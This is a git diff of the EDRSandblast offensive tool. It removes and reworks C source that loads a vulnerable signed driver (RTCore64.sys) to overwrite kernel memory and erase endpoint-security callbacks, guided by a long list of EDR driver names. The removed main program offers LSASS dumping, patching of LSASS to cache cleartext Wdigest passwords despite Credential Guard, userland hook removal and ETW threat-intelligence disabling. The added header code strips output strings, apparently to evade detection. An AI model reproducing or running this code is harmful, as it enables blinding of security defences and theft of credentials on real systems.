_T("nrcomgrdki.sys"), - _T("nrcomgrdka.sys"), - _T("nrpmonki.sys"), - _T("nrpmonka.sys"), - _T("nravwka.sys"), - _T("bhkavki.sys"), - _T("bhkavka.sys"), - _T("docvmonk.sys"), - _T("docvmonk64.sys"), - // NVELO Inc. - _T("SamsungRapidFSFltr.sys"), - // OCZ Storage - _T("OczMiniFilter.sys"), - // OnGuard Systems LLC - _T("NlxFF.sys"), - // OpenText Corp - _T("enmon.sys"), - // OPSWAT Inc. - _T("libwamf.sys"), - // ORANGE WERKS Inc - _T("wgfile.sys"), - // PA File Sight - _T("FileSightMF.sys"), - // Packeteer - _T("mblmon.sys"), - // Palo Alto Networks - _T("tedrdrv.sys"), - // PHD Virtual Tech Inc. - _T("phdcbtdrv.sys"), - // PJSC KP VTI - _T("RW7FsFlt.sys"), - // PolyLogyx LLC - _T("vast.sys"), - // Positive Technologies - _T("mpxmon.sys"), - // Protected Networks - _T("minitrc.sys"), - // Qihoo 360 - _T("360box.sys"), - // Qingdao Ruanmei Network Technology Co. - _T("RMDiskMon.sys"), - _T("diskactmon.sys"), - // Quality Corporation - _T("qfmon.sys"), - // Qualys Inc. - _T("QMON.sys"), - _T("qfimdvr.sys"), - // Quantum Corporation. - _T("cvofflineFlt32.sys"), - _T("cvofflineFlt64.sys"), - // Quest Software - _T("QFAPFlt.sys"), - // Quest Software Inc. - _T("BWFSDrv.sys"), - _T("CAADFlt.sys"), - // Quick Heal Technologies Pvt. Ltd. - _T("sieflt.sys"), - _T("cssdlp.sys"), - _T("fam.sys"), - // Quorum Labs - _T("qfilter.sys"), - // Rackware - _T("rwchangedrv.sys"), - // Redstor Limited - _T("RsFlt.sys"), - // RES Software - _T("FileGuard.sys"), - _T("NetGuard.sys"), - _T("RegGuard.sys"), - _T("ImgGuard.sys"), - _T("AppGuard.sys"), - // Resplendence Software Projects - _T("mmPsy32.sys"), - _T("mmPsy64.sys"), - _T("rrMon32.sys"), - _T("rrMon64.sys"), - // rhipe Australia Pty - _T("SeRdr.sys"), - // Rubrik Inc - _T("RubrikFileAudit.sys"), - _T("FileSystemCBT.sys"), - // rubysoft - _T("IronGateFD.sys"), - // RuiGuard Ltd - _T("RuiMinispy.sys"), - _T("RuiFileAccess.sys"), - _T("RuiEye.sys"), - _T("RuiMachine.sys"), - _T("RuiDiskFs.sys"), - // RUNEXY - _T("ruaff.sys"), - _T("mlsaff.sys"), - // SAFE-Cyberdefense - _T("SAFE-Agent.sys"), - // Safend - _T("Sahara.sys"), - _T("Santa.sys"), - // SaferZone Co. - _T("SZEDRDrv.sys"), - _T("szardrv.sys"), - _T("szpcmdrv.sys"), - _T("szdfmdrv.sys"), - _T("szdfmdrv_usb.sys"), - _T("sprtdrv.sys"), - // Samsung SDS Ltd - _T("SGResFlt.sys"), - // SanDisk Inc. - _T("fiopolicyfilter.sys"), - // Sandoll Communication - _T("SfdFilter.sys"), - // SC ODEKIN SOLUTIONS SRL - _T("ospmon.sys"), - // Scalable Software Inc. - _T("PkgFilter.sys"), - // ScriptLogic - _T("FSAFilter.sys"), - // Secdo - _T("SecdoDriver.sys"), - // SecureAxis - _T("usbl_ifsfltr.sys"), - // SecureAxis Software - _T("llfilter.sys"), - // Secured Globe Inc. - _T("fltRs329.sys"), - // SecureLink Inc. - _T("CBFSFilter2017.sys"), - // Security Code LLC - _T("ScAuthFSFlt.sys"), - _T("ScAuthIoDrv.sys"), - // SentinelOne - _T("SentinelMonitor.sys"), - // Sevtechnotrans - _T("uamflt.sys"), - // Shanghai YiCun Network Tech Co. Ltd - _T("AccessValidator.sys"), - // SharpCrafters - _T("psisolator.sys"), - // SheedSoft Ltd - _T("SheedSelfProtection.sys"), - // SheedSoft Ltd. - _T("arta.sys"), - // Shenzhen CloudRiver - _T("CrUnCopy.sys"), - // SHENZHEN UNNOO Information Techco. - _T("RyGuard.sys"), - _T("FileShareMon.sys"), - _T("ryfilter.sys"), - // Shenzhen Unnoo LTD - _T("secufile.sys"), - _T("XiaobaiFs.sys"), - _T("XiaobaiFsR.sys"), - // ShinNihonSystec Co - _T("sagntflt.sys"), - // Simopro Technology - _T("CbFltFs4.sys"), - // SK Infosec Co - _T("PLPOffDrv.sys"), - _T("ISFPDrv.sys"), - _T("ionmonwdrv.sys"), - // Sky Co., LTD. - _T("SkyRGDrv.sys"), - _T("SkyAMDrv.sys"), - // Sky Co.,Ltd. - _T("SkyWPDrv.sys"), - // SmartFile LLC - _T("FileHubAgent.sys"), - // SMTechnology Co. - _T("storagedrv.sys"), - // SN Systems Ltd - _T("cbfilter20.sys"), - _T("cbfsfilter2017.sys"), - // SnoopWall LLC - _T("SWCommFltr.sys"), - // SODATSW - _T("sodatpfl.sys"), - // SODATSW spol. s r.o. - _T("sodatpfl.sys"), - _T("fcontrol.sys"), - // SoftCamp Co. - _T("scred.sys"), - // Softnext Technologies - _T("snimg.sys"), - // SoftPerfect Research - _T("fsnk.sys"), - // Software Pursuits Inc. - _T("SPIMiniFilter.sys"), - // Sogou Ltd. - _T("SCAegis.sys"), - // Solarwinds LLC - _T("SWFsFltrv2.sys"), - _T("SWFsFltr.sys"), - // Soliton Systems - _T("it2reg.sys"), - _T("it2drv.sys"), - _T("solitkm.sys"), - // Soliton Systems K.K. - _T("SDVFilter.sys"), - // Solusseum Inc - _T("Sefo.sys"), - // Soluto LTD - _T("PDGenFam.sys"), - // Somma Inc - _T("MonsterK.sys"), - // SonicWall Inc - _T("SFPMonitor.sys"), - // Sophos - _T("SophosED.sys"), - // Sophos Plc - _T("soidriver.sys"), - // SoulFrost - _T("sfac.sys"), - // SPEKNET EOOD - _T("Asgard.sys"), - // Spharsoft Technologies - _T("SvCBT.sys"), - // Squadra Technologies - _T("secRMM.sys"), - // Stegosystems Inc - _T("StegoProtect.sys"), - // StorageCraft Tech - _T("stcvsm.sys"), - // Stormshield - _T("EsProbe.sys"), - // Sumitomo Electric Ltd. - _T("MCFileMon64.sys"), - _T("MCFileMon32.sys"), - // Sun&Moon Rise - _T("ntfsf.sys"), - // Symantec - _T("pgpwdefs.sys"), - _T("GEProtection.sys"), - _T("sysMon.sys"), - _T("ssrfsf.sys"), - _T("emxdrv2.sys"), - _T("reghook.sys"), - _T("spbbcdrv.sys"), - _T("bhdrvx86.sys"), - _T("bhdrvx64.sys"), - _T("SISIPSFileFilter"), - _T("symevent.sys"), - // Symantec Corp. - _T("diflt.sys"), - // Syncopate - _T("thetta.sys"), - // Systemneeds, Inc - _T("Snilog.sys"), - // TaaSera Inc. - _T("AwareCore.sys"), - // Tanium - _T("TaniumRecorderDrv.sys"), - // TCXA Ltd. - _T("fcnotify.sys"), - // Tech Research - _T("FASDriver"), - // TechnoKom Ltd. - _T("agfsmon.sys"), - // Telefnica Digital - _T("path8flt.sys"), - // Temasoft S.R.L. - _T("filemon.sys"), - // Tencent (Shenzhen) - _T("QQProtect.sys"), - _T("QQProtectX64.sys"), - // Tencent Technology - _T("TenRSafe2.sys"), - _T("tesxporter.sys"), - _T("tesxnginx.sys"), - // Tetraglyph Technologies - _T("TGFSMF.sys"), - // ThinAir Labs Inc - _T("taobserveflt.sys"), - // ThinScale Tech - _T("TSTFsReDir.sys"), - _T("TSTRegReDir.sys"), - _T("TSTFilter.sys"), - // Third Brigade - _T("tbfsfilt.sys"), - // Threat Stack - _T("ThreatStackFIM.sys"), - // Tiversa Inc - _T("tss.sys"), - // Topology Ltd - _T("dsfemon.sys"), - // Tranxition Corp - _T("regmonex.sys"), - _T("TXRegMon.sys"), - // Trend Micro Inc. - _T("TMUMS.sys"), - _T("hfileflt.sys"), - _T("TMUMH.sys"), - // Trend Micro, Inc. - _T("AcDriver.sys"), - _T("SakFile.sys"), - _T("SakMFile.sys"), - // Tritium Inc. - _T("Tritiumfltr.sys"), - // Trustware Ltd - _T("Redlight.sys"), - // Trustwave - _T("TWBDCFilter.sys"), - // UpGuard - _T("UpGuardRealTime.sys"), - // Varlook Ltd. - _T("varpffmon.sys"), - // Varonis Ltd - _T("VrnsFilter.sys"), - // Veramine Inc - _T("phantomd.sys"), - // Vidder Inc. - _T("vidderfs.sys"), - // Viewfinity - _T("vfdrv.sys"), - // Vision Solutions - _T("repdrv.sys"), - _T("repmon.sys"), - // VMware, Inc. - _T("VMWVvpfsd.sys"), - _T("RTOLogon.sys"), - // VoodooSoft - _T("VSScanner.sys"), - // WaikatoLink Ltd - _T("proggerdriver.sys"), - // WardWiz - _T("WRDWIZFILEPROT.SYS"), - _T("WRDWIZREGPROT.SYS"), - // Warp Disk Software - _T("DsDriver.sys"), - // Weing Co.,Ltd. - _T("pscff.sys"), - // Wellbia.com - _T("xhunter64.sys"), - _T("uncheater.sys"), - // Wellbiacom - _T("xhunter1.sys"), - // Whitebox Security - _T("wbfilter.sys"), - // WhiteCell Software Inc. - _T("EGMinFlt.sys"), - // WidgetNuri Corp - _T("wsafefilter.sys"), - _T("RansomDetect.sys"), - // Winicssec Ltd - _T("wlminisecmod.sys"), - _T("WntGPDrv.sys"), - // X-Cloud Systems - _T("xcpl.sys"), - // Xacti - _T("stflt.sys"), - // Yahoo Japan Corporation - _T("YahooStorage.sys"), - // Yandex LLC - _T("bmregdrv.sys"), - _T("bmfsdrv.sys"), - // YATEM Co. Ltd. - _T("LCmPrintMon.sys"), - _T("LCgAdMon.sys"), - _T("LCmAdMon.sys"), - _T("LCgFileMon.sys"), - _T("LCmFile.sys"), - _T("LCgFile.sys"), - _T("LCmFileMon.sys"), - // Yokogawa Corpration - _T("YFSD2.sys"), - // Yokogawa R&L Corp - _T("YFSDR.SYS"), - _T("YFSD.SYS"), - _T("YFSRD.sys"), - _T("psgfoctrl.sys"), - _T("psgdflt.sys"), - // Zampit - _T("zampit_ml.sys"), - // ZenmuTech Inc. - _T("mumdi.sys"), - // Zhuan Zhuan Jing Shen - _T("zzpensys.sys"), - // ZoneFox - _T("KernelAgent32.sys"), - /* - * FSFilter Activity Monitor - END - */ - /* - * Invoke-EDRCheck.ps1 - BEGIN - * Duplicates from previous source are removed. - */ - // Altiris Symantec - _T("atrsdfw.sys"), - // Avast - _T("naswSP.sys"), - // Carbon Black - _T("CbELAM.sys"), - _T("ctifile.sys"), - _T("ctinet.sys"), - _T("parity.sys"), - // Cisco - _T("csacentr.sys"), - _T("csaenh.sys"), - _T("csareg.sys"), - _T("csascr.sys"), - // CJSC Returnil Software - _T("rvsavd.sys"), - // Comodo Security - _T("CmdMnEfs.sys"), - _T("MyDLPMF.sys"), - // CrowdStrike - _T("im.sys"), - _T("CSDeviceControl.sys"), - _T("CSFirmwareAnalysis.sys"), - // Cybereason - _T("CRExecPrev.sys"), - // Endgame - _T("esensor.sys"), - // ESET - _T("edevmon.sys"), - // F-Secure - _T("xfsgk.sys"), - // Malwarebytes - _T("mbamwatchdog.sys"), - // Microsoft Defender - _T("MpKslDrv.sys"), - // Palo Alto Networks - Cortex XDR - _T("cyverak.sys"), - _T("cyvrlpc.sys"), - _T("cyvrmtgn.sys"), - _T("tdevflt.sys"), - // Raytheon Cyber Solutions - _T("eaw.sys"), - // Symantec - _T("vxfsrep.sys"), - _T("VirtFile.sys"), - _T("SymAFR.sys"), - _T("symefasi.sys"), - _T("symefa.sys"), - _T("symefa64.sys"), - _T("SymHsm.sys"), - _T("evmf.sys"), - _T("GEFCMP.sys"), - _T("VFSEnc.sys"), - _T("pgpfs.sys"), - _T("fencry.sys"), - _T("symrg.sys"), - // Verdasys Inc - _T("ndgdmk.sys") - /* - * Invoke-EDRCheck.ps1 - END - */ -}; - -BOOL isDriverEDR(TCHAR* driver) { - for (int i = 0; i < _countof(EDR_DRIVERS); ++i) { - if (_tcscmp(driver, EDR_DRIVERS[i]) == 0) { - return TRUE; - } - } - return FALSE; -} - -void OperateNotifyRoutines(DWORD64 NotifyRoutineAddress, struct FOUND_EDR_CALLBACKS* edrDrivers, BOOL remove, BOOL verbose) { - HANDLE Device = GetDriverHandle(); - - int CurrentEDRDriversCount = 0; - for (int i = 0; i < PSP_MAX_CALLBACKS; ++i) { - DWORD64 callback_struct = ReadMemoryDWORD64(Device, NotifyRoutineAddress + (i * sizeof(DWORD64))); - if (callback_struct != 0) { - DWORD64 callback = (callback_struct & ~0b1111) + 8; - DWORD64 cbFunction = ReadMemoryDWORD64(Device, callback); - TCHAR* driver = FindDriver(cbFunction, verbose); - - if (driver && isDriverEDR(driver)) { - DWORD64 callback_addr = NotifyRoutineAddress + (i * sizeof(DWORD64)); - - struct KRNL_CALLBACK newFoundDriver = { 0 }; - newFoundDriver.driver = driver; - newFoundDriver.callback_addr = callback_addr; - newFoundDriver.callback_struct = callback_struct; - newFoundDriver.callback_func = cbFunction; - - if (!remove) { - if (verbose) { - _tprintf(TEXT("[+] Found EDR driver callback: \"%s\" [callback addr: 0x%I64x | callback struct: 0x%I64x | callback function: 0x%I64x]\n"), - driver, callback_addr, callback_struct, cbFunction); - } - newFoundDriver.removed = FALSE; - } - else { - if (verbose) { - _tprintf(TEXT("[+] Removing EDR driver callback: \"%s\" [callback addr: 0x%I64x | callback struct: 0x%I64x | callback function: 0x%I64x]\n"), - driver, callback_addr, callback_struct, cbFunction); - } - WriteMemoryDWORD64(Device, callback_addr, 0x0000000000000000); - newFoundDriver.removed = TRUE; - } - edrDrivers->EDR_CALLBACKS[edrDrivers->index + CurrentEDRDriversCount] = newFoundDriver; - CurrentEDRDriversCount++; - } - } - } - - edrDrivers->index = edrDrivers->index + CurrentEDRDriversCount; - if (CurrentEDRDriversCount == 0) { - _tprintf(TEXT("[+] No EDR driver(s) found!\n")); - } - else if (remove) { - _tprintf(TEXT("[+] Removed a total of %i EDR / security products driver(s)\n"), CurrentEDRDriversCount); - } - else { - _tprintf(TEXT("[+] Found a total of %i EDR / security products driver(s)\n"), CurrentEDRDriversCount); - } - - CloseHandle(Device); -} - -void RestoreEDRCallbacks(struct FOUND_EDR_CALLBACKS* edrDrivers) { - HANDLE Device = GetDriverHandle(); - - for (DWORD i = 0; i < edrDrivers->index; ++i) { - if (edrDrivers->EDR_CALLBACKS[i].removed == TRUE) { - _tprintf(TEXT("[+] Restoring callback of EDR driver \"%s\" [callback addr: 0x%I64x | callback struct: 0x%I64x | callback function: 0x%I64x]\n"), - edrDrivers->EDR_CALLBACKS[i].driver, - edrDrivers->EDR_CALLBACKS[i].callback_addr, - edrDrivers->EDR_CALLBACKS[i].callback_struct, - edrDrivers->EDR_CALLBACKS[i].callback_func); - WriteMemoryDWORD64(Device, edrDrivers->EDR_CALLBACKS[i].callback_addr, edrDrivers->EDR_CALLBACKS[i].callback_struct); - } - } - - CloseHandle(Device); -} - -/* - ------- Process (PspCreateProcessNotifyRoutine) callbacks. - -*/ - -DWORD64 GetPspCreateProcessNotifyRoutineAddress(void) { - DWORD64 NtoskrnlBaseAddress = FindNtoskrnlBaseAddress(); - DWORD64 PspCreateProcessNotifyRoutineOffset = ntoskrnlOffsets.st.pspCreateProcessNotifyRoutine; - DWORD64 PspCreateProcessNotifyRoutineAddress = NtoskrnlBaseAddress + PspCreateProcessNotifyRoutineOffset; - return PspCreateProcessNotifyRoutineAddress; -} - -void EnumPspCreateProcessNotifyRoutine(struct FOUND_EDR_CALLBACKS* edrDrivers, BOOL verbose) { - DWORD64 PspCreateProcessNotifyRoutineAddress = GetPspCreateProcessNotifyRoutineAddress(); - if (verbose == TRUE) { _tprintf(TEXT("[+] Enumerating process creation callbacks\n")); } - _tprintf(TEXT("[+] PspCreateProcessNotifyRoutine: 0x%I64x\n"), PspCreateProcessNotifyRoutineAddress); - OperateNotifyRoutines(PspCreateProcessNotifyRoutineAddress, edrDrivers, FALSE, verbose); -} - -void RemoveEDRProcessNotifyCallbacks(struct FOUND_EDR_CALLBACKS* edrDrivers, BOOL verbose) { - DWORD64 PspCreateProcessNotifyRoutineAddress = GetPspCreateProcessNotifyRoutineAddress(); - if (verbose == TRUE) { _tprintf(TEXT("[+] Removing EDR process creation callbacks\n")); } - _tprintf(TEXT("[+] PspCreateProcessNotifyRoutine: 0x%I64x\n"), PspCreateProcessNotifyRoutineAddress); - OperateNotifyRoutines(PspCreateProcessNotifyRoutineAddress, edrDrivers, TRUE, verbose); -} - -/* - ------- Thread (PspCreateThreadNotifyRoutine) callbacks. - -*/ - -DWORD64 GetPspCreateThreadNotifyRoutineAddress(void) { - DWORD64 NtosKrnlbaseAddress = FindNtoskrnlBaseAddress(); - DWORD64 PspCreateThreadNotifyRoutineOffset = ntoskrnlOffsets.st.pspCreateThreadNotifyRoutine; - DWORD64 PspCreateThreadNotifyRoutineAddress = NtosKrnlbaseAddress + PspCreateThreadNotifyRoutineOffset; - return PspCreateThreadNotifyRoutineAddress; -} - -void EnumPspCreateThreadNotifyRoutine(struct FOUND_EDR_CALLBACKS* edrDrivers, BOOL verbose) { - DWORD64 PspCreateThreadNotifyRoutineAddress = GetPspCreateThreadNotifyRoutineAddress(); - if (verbose == TRUE) { _tprintf(TEXT("[+] Enumerating threads creation callbacks\n")); } - _tprintf(TEXT("[+] PspCreateThreadNotifyRoutine: 0x%I64x\n"), PspCreateThreadNotifyRoutineAddress); - OperateNotifyRoutines(PspCreateThreadNotifyRoutineAddress, edrDrivers, FALSE, verbose); -} - -void RemoveEDRThreadNotifyCallbacks(struct FOUND_EDR_CALLBACKS* edrDrivers, BOOL verbose) { - DWORD64 PspCreateThreadNotifyRoutineAddress = GetPspCreateThreadNotifyRoutineAddress(); - if (verbose == TRUE) { _tprintf(TEXT("[+] Removing EDR threads creation callbacks\n")); } - _tprintf(TEXT("[+] PspCreateThreadNotifyRoutine: 0x%I64x\n"), PspCreateThreadNotifyRoutineAddress); - OperateNotifyRoutines(PspCreateThreadNotifyRoutineAddress, edrDrivers, TRUE, verbose); -} - -/* - ------- Image loading (PspLoadImageNotifyRoutine) callbacks. - -*/ - -DWORD64 GetPspLoadImageNotifyRoutineAddress(void) { - DWORD64 NtoskrnlBaseAddress = FindNtoskrnlBaseAddress(); - DWORD64 PspLoadImageNotifyRoutineOffset = ntoskrnlOffsets.st.pspLoadImageNotifyRoutine; - DWORD64 PspLoadImageNotifyRoutineAddress = NtoskrnlBaseAddress + PspLoadImageNotifyRoutineOffset; - return PspLoadImageNotifyRoutineAddress; -} - -void EnumPspLoadImageNotifyRoutine(struct FOUND_EDR_CALLBACKS* edrDrivers, BOOL verbose) { - DWORD64 PspLoadImageNotifyRoutineAddress = GetPspLoadImageNotifyRoutineAddress(); - if (verbose == TRUE) { _tprintf(TEXT("[+] Enumerating image loading callbacks\n")); } - _tprintf(TEXT("[+] PspLoadImageNotifyRoutine: 0x%I64x\n"), PspLoadImageNotifyRoutineAddress); - OperateNotifyRoutines(PspLoadImageNotifyRoutineAddress, edrDrivers, FALSE, verbose); -} - -void RemoveEDRImageNotifyCallbacks(struct FOUND_EDR_CALLBACKS* edrDrivers, BOOL verbose) { - DWORD64 PspLoadImageNotifyRoutineAddress = GetPspLoadImageNotifyRoutineAddress(); - if (verbose == TRUE) { _tprintf(TEXT("[+] Removing EDR image loading callbacks\n")); } - _tprintf(TEXT("[+] PspLoadImageNotifyRoutine: 0x%I64x\n"), PspLoadImageNotifyRoutineAddress); - OperateNotifyRoutines(PspLoadImageNotifyRoutineAddress, edrDrivers, TRUE, verbose); -} - -/* - ------- Generic callbacks manipulation. - -*/ - -const TCHAR* notifyRoutineTypeStrs[3] = { TEXT("process creation"), TEXT("thread creation"), TEXT("image loading") }; -const TCHAR* notifyRoutineTypeNames[3] = { TEXT("ProcessCreate"), TEXT("ThreadCreate"), TEXT("LoadImage") }; - -DWORD64 GetPsp_X_NotifyRoutineAddress(enum NtoskrnlOffsetType nrt) { - DWORD64 Ntoskrnlbaseaddress = FindNtoskrnlBaseAddress(); - DWORD64 Psp_X_NotifyRoutineOffset = ntoskrnlOffsets.ar[nrt]; - DWORD64 Psp_X_NotifyRoutineAddress = Ntoskrnlbaseaddress + Psp_X_NotifyRoutineOffset; - return Psp_X_NotifyRoutineAddress; -} - -void EnumPsp_X_NotifyRoutine(enum NtoskrnlOffsetType nrt, struct FOUND_EDR_CALLBACKS* edrDrivers, BOOL verbose) { - DWORD64 Psp_X_NotifyRoutineAddress = GetPsp_X_NotifyRoutineAddress(nrt); - if (verbose == TRUE) { _tprintf(TEXT("[+] Enumerating %s callbacks\n"), notifyRoutineTypeStrs[nrt]); } - _tprintf(TEXT("[+] Psp%sNotifyRoutine: 0x%I64x\n"), notifyRoutineTypeNames[nrt], Psp_X_NotifyRoutineAddress); - OperateNotifyRoutines(Psp_X_NotifyRoutineAddress, edrDrivers, FALSE, verbose); -} - -void RemoveEDR_X_Callbacks(enum NtoskrnlOffsetType nrt, struct FOUND_EDR_CALLBACKS* edrDrivers, BOOL verbose) { - DWORD64 Psp_X_NotifyRoutineAddress = GetPsp_X_NotifyRoutineAddress(nrt); - if (verbose == TRUE) { _tprintf(TEXT("[+] Removing %s callbacks\n"), notifyRoutineTypeStrs[nrt]); } - _tprintf(TEXT("[+] Psp%sNotifyRoutine: 0x%I64x\n"), notifyRoutineTypeNames[nrt], Psp_X_NotifyRoutineAddress); - OperateNotifyRoutines(Psp_X_NotifyRoutineAddress, edrDrivers, TRUE, verbose); -} - -/* - ------- All EDR Kernel callbacks enumeration / removal. - -*/ - -void EnumAllEDRKernelCallbacks(struct FOUND_EDR_CALLBACKS* edrDrivers, BOOL verbose) { - EnumPsp_X_NotifyRoutine(CREATE_PROCESS_ROUTINE, edrDrivers, verbose); - EnumPsp_X_NotifyRoutine(CREATE_THREAD_ROUTINE, edrDrivers, verbose); - EnumPsp_X_NotifyRoutine(LOAD_IMAGE_ROUTINE, edrDrivers, verbose); -} - -void RemoveAllEDRKernelCallbacks(struct FOUND_EDR_CALLBACKS* edrDrivers, BOOL verbose) { - RemoveEDR_X_Callbacks(CREATE_PROCESS_ROUTINE, edrDrivers, verbose); - RemoveEDR_X_Callbacks(CREATE_THREAD_ROUTINE, edrDrivers, verbose); - RemoveEDR_X_Callbacks(LOAD_IMAGE_ROUTINE, edrDrivers, verbose); -} diff --git a/EDRSandblast/EDRSandBlast.h b/EDRSandblast/EDRSandBlast.h index 9e4d2c3..8100d29 100644 --- a/EDRSandblast/EDRSandBlast.h +++ b/EDRSandblast/EDRSandBlast.h @@ -1,9 +1,28 @@ #pragma once +//TODO P1 : implement a "clean" mode that only removes the driver if installed +//TODO P2 : replace all instances of exit(1) by a clean_exit() function that uninstalls the driver before exiting typedef enum _START_MODE { dump, cmd, credguard, audit, + firewall, none -} START_MODE; \ No newline at end of file +} START_MODE; + +#define NO_STRINGS 0 + +#if NO_STRINGS +#define _putts_or_not(...) +#define _tprintf_or_not(...) +#define wprintf_or_not(...) +#define printf_or_not(...) +#pragma warning(disable : 4189) + +#else +#define _putts_or_not(...) _putts(__VA_ARGS__) +#define _tprintf_or_not(...) _tprintf(__VA_ARGS__) +#define printf_or_not(...) printf(__VA_ARGS__) +#define wprintf_or_not(...) wprintf(__VA_ARGS__) +#endif \ No newline at end of file diff --git a/EDRSandblast/EDRSandblast.c b/EDRSandblast/EDRSandblast.c deleted file mode 100644 index 14cdaa9..0000000 --- a/EDRSandblast/EDRSandblast.c +++ /dev/null @@ -1,549 +0,0 @@ -#include -#include -#include - -#ifdef _DEBUG -#include -#endif - -#include "CredGuard.h" -#include "DriverOps.h" -#include "ETWThreatIntel.h" -#include "KernelCallbacks.h" -#include "LSASSDump.h" -#include "NtoskrnlOffsets.h" -#include "RunAsPPL.h" -#include "WdigestOffsets.h" -#include "UserlandHooks.h" - -#include "EDRSandBlast.h" - -/* - ---- Execution entry point. - -*/ - -int _tmain(int argc, TCHAR** argv) { - // Parse command line arguments and initialize variables to default values if needed. - const TCHAR usage[] = TEXT("Usage: EDRSandblast.exe [-h | --help] [-v | --verbose] [--usermode [--unhook-method ]] [--kernelmode] [--dont-unload-driver] [--dont-restore-callbacks] [--driver ] [--service ] [--nt-offsets ] [--wdigest-offsets ] [--add-dll ]* [-o | --dump-output ]"); - const TCHAR extendedUsage[] = TEXT("\n\ --h | --help Show this help message and exit.\n\ --v | --verbose Enable a more verbose output.\n\ -\n\ -Actions mode:\n\ -\n\ -\taudit Display the user-land hooks and / or Kernel callbacks without taking actions.\n\ -\tdump Dump the LSASS process, by default as 'lsass' in the current directory or at the\n\ -\t specified file using -o | --output .\n\ -\tcmd Open a cmd.exe prompt.\n\ -\tcredguard Patch the LSASS process' memory to enable Wdigest cleartext passwords caching even if\n\ -\t Credential Guard is enabled on the host. No kernel-land actions required.\n\ -\n\ ---usermode Perform user-land operations (DLL unhooking).\n\ ---kernelmode Perform kernel-land operations (Kernel callbacks removal and ETW TI disabling).\n\ -\n\ ---unhook-method \n Choose the userland un-hooking technique, from the following: \n\ -\n\ -\t1 (Default) Uses the (probably monitored) NtProtectVirtualMemory function in ntdll to remove all\n\ -\t present userland hooks.\n\ -\t2 Constructs a 'unhooked' (i.e. unmonitored) version of NtProtectVirtualMemory, by\n\ -\t allocating an executable trampoline jumping over the hook, and remove all present\n\ -\t userland hooks.\n\ -\t3 Searches for an existing trampoline allocated by the EDR itself, to get an 'unhooked'\n\ -\t (i.e. unmonitored) version of NtProtectVirtualMemory, and remove all present userland\n\ -\t hooks.\n\ -\t4 Loads an additional version of ntdll library into memory, and use the (hopefully\n\ -\t unmonitored) version of NtProtectVirtualMemory present in this library to remove all\n\ -\t present userland hooks.\n\ -\t5 Allocates a shellcode that uses a direct syscall to call NtProtectVirtualMemory,\n\ -\t and uses it to remove all detected hooks\n\ -\n\ -Other options:\n\ -\n\ ---dont-unload-driver Keep the Micro-Star MSI Afterburner vulnerable driver installed on the host\n\ - Default to automatically unsinstall the driver.\n\ ---dont-restore-callbacks Do not restore the EDR drivers' Kernel Callbacks that were removed.\n\ - Default to restore the callbacks.\n\ -\n\ ---driver Path to the Micro-Star MSI Afterburner vulnerable driver file.\n\ - Default to 'RTCore64.sys' in the current directory.\n\ ---service Name of the vulnerable service to intall / start.\n\ -\n\ ---nt-offsets Path to the CSV file containing the required ntoskrnl.exe's offsets.\n\ - Default to 'NtoskrnlOffsets.csv' in the current directory.\n\ ---wdigest-offsets Path to the CSV file containing the required wdigest.dll's offsets\n\ - (only for the 'credguard' mode).\n\ - Default to 'WdigestOffsets.csv' in the current directory.\n\ -\n\ ---add-dll Loads arbitrary libraries into the process' address space, before starting\n\ - anything. This can be useful to audit userland hooking for DLL that are not\n\ - loaded by default by this program. Use this option multiple times to load\n\ - multiple DLLs all at once.\n\ - Example of interesting DLLs to look at: user32.dll, ole32.dll, crypt32.dll,\n\ - samcli.dll, winhttp.dll, urlmon.dll, secur32.dll, shell32.dll...\n\ -\n\ --o | --output Output path to the dump file that will be generated by the 'dump' mode.\n\ - Default to 'lsass' in the current directory.\n"); - BOOL status; - TCHAR currentFolderPath[MAX_PATH] = { 0 }; - GetCurrentDirectory(_countof(currentFolderPath), currentFolderPath); - - if (argc < 2) { - _tprintf(TEXT("%s"), usage); - return EXIT_FAILURE; - } - - START_MODE startMode = none; - TCHAR driverPath[MAX_PATH * 2] = { 0 }; - TCHAR driverDefaultName[] = TEXT("RTCore64.sys"); - TCHAR ntoskrnlOffsetCSVPath[MAX_PATH * 2] = { 0 }; - TCHAR wdigestOffsetCSVPath[MAX_PATH * 2] = { 0 }; - TCHAR outputPath[MAX_PATH * 2] = { 0 }; - BOOL verbose = FALSE; - BOOL removeVulnDriver = TRUE; - BOOL restoreCallbacks = TRUE; - BOOL userMode = FALSE; - enum unhook_method_e unhook_method = UNHOOK_WITH_NTPROTECTVIRTUALMEMORY; - BOOL kernelMode = FALSE; - int lpExitCode = EXIT_SUCCESS; - struct FOUND_EDR_CALLBACKS* checkEDRDrivers = NULL; - struct FOUND_EDR_CALLBACKS* removedEDRDrivers = NULL; - BOOL ETWTIState = FALSE; - hook* hooks = NULL; - - - for (int i = 1; i < argc; i++) { - if (_tcsicmp(argv[i], TEXT("dump")) == 0) { - startMode = dump; - } - else if (_tcsicmp(argv[i], TEXT("cmd")) == 0) { - startMode = cmd; - } - else if (_tcsicmp(argv[i], TEXT("credguard")) == 0) { - startMode = credguard; - } - else if (_tcsicmp(argv[i], TEXT("audit")) == 0) { - startMode = audit; - } - else if (_tcsicmp(argv[i], TEXT("-h")) == 0 || _tcsicmp(argv[i], TEXT("--help")) == 0) { - _tprintf(TEXT("%s\n"), usage); - _tprintf(TEXT("%s\n"), extendedUsage); - return EXIT_SUCCESS; - } - else if (_tcsicmp(argv[i], TEXT("-v")) == 0 || _tcsicmp(argv[i], TEXT("--verbose")) == 0) { - verbose = TRUE; - } - else if (_tcsicmp(argv[i], TEXT("--usermode")) == 0) { - userMode = TRUE; - } - else if (_tcsicmp(argv[i], TEXT("--kernelmode")) == 0) { - kernelMode = TRUE; - } - else if (_tcsicmp(argv[i], TEXT("--dont-unload-driver")) == 0) { - removeVulnDriver = FALSE; - } - else if (_tcsicmp(argv[i], TEXT("--dont-restore-callbacks")) == 0) { - restoreCallbacks = FALSE; - } - else if (_tcsicmp(argv[i], TEXT("--driver")) == 0) { - i++; - if (i > argc) { - _tprintf(TEXT("%s"), usage); - return EXIT_FAILURE; - } - _tcsncpy_s(driverPath, _countof(driverPath), argv[i], _tcslen(argv[i])); - } - else if (_tcsicmp(argv[i], TEXT("--service")) == 0) { - i++; - if (i > argc) { - _tprintf(TEXT("%s"), usage); - return EXIT_FAILURE; - } - SetServiceName(argv[i], _tcslen(argv[i]) + 1); - } - else if (_tcsicmp(argv[i], TEXT("--nt-offsets")) == 0) { - i++; - if (i > argc) { - _tprintf(TEXT("%s"), usage); - return EXIT_FAILURE; - } - _tcsncpy_s(ntoskrnlOffsetCSVPath, _countof(ntoskrnlOffsetCSVPath), argv[i], 